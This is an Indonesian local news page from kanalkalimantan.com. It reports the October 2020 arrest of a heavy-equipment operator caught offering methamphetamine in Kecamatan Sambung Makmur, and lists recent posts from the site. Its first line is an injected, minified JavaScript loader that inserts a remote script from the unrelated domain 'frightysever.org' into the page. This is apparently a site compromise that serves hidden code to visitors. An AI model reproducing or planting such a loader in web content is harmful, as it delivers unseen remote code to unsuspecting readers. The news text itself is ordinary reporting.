(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Diintai Empat Jam, Operator Alat Berat Dibekuk Edarkan Sabu


KANALKALIMANTAN.COM, MARTAPURA – Diduga menjadi pengedar narkoba jenis sabu AH (24) ditangkap polisi karena kedapatan menawarkan narkoba di jalan Desa Baliangin Atas, Kecamatan Sambung Makmur, Kabupaten Banjar, pada Rabu (14/10/2020) pukul 22:30 Wita.

Kapolsek Sambung Makmur Ipda Hendra membenarkan kalau ada seorang laki-laki tertangkap tangan saat menawarkan narkoba jenis sabu.
Laki-laki berinisial AH (24) itu adalah warga Desa Pulau Pinang, Kecamatan Binuang Kabupaten Tapin.

Ipda Indra mengatakan, polisi mendapat informasi ada sering terjadi transaksi nakorba di Desa Baliangin Atas, menindak lanjuti informasi tersebut anggota Polsek Sambung Makmur yang dipimpin langsung Ipda Indra, langsung melalukan penyelidikan dan pengintaian.

“Setelah petugas melakukan pengintaian kurang lebih selama empat jam, petugas langsung menangkap AH yang sedang menawarkan barang haram jenis sabu tersebut,” katanya.

Setelah petugas kepolisian menangkap pelaku dan dilakukan pemeriksaan ternyata pelaku selama ini bekerja sebagai operator alat berat.

“Ketika anggota kita melakukan pemeriksaan, ternyata pelaku selama ini bekerja sebagai operator alat berat louder,” ungkapnya.

Selain itu, lanjut Ipda Indra, pelaku juga yang selama ini mengedarkan narkoba jenis sabu di wilayah pegunungan yang ada di Kecamatan Sambung Makmur.

Dari pengakuan pelaku, dirinya baru saja membeli barang haram tersebut, di wilayah Kecamatan Binuang.

Selain mengaman pelaku, petugas kepolisian juga mengamankan beberapa barang bukti milik pelaku.

“Kita mengamankan barang bukti milik pelaku berupa, satu jaket parasut warna hijau tua, satu paket sabu dibungkus klip kecil, satu buah handpone,” katanya.

Pelaku dijerat dengan pasal 114 ayat 1 dan Pasal 112 ayat 1 dengan ancaman penjara minimal 4 tahun. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.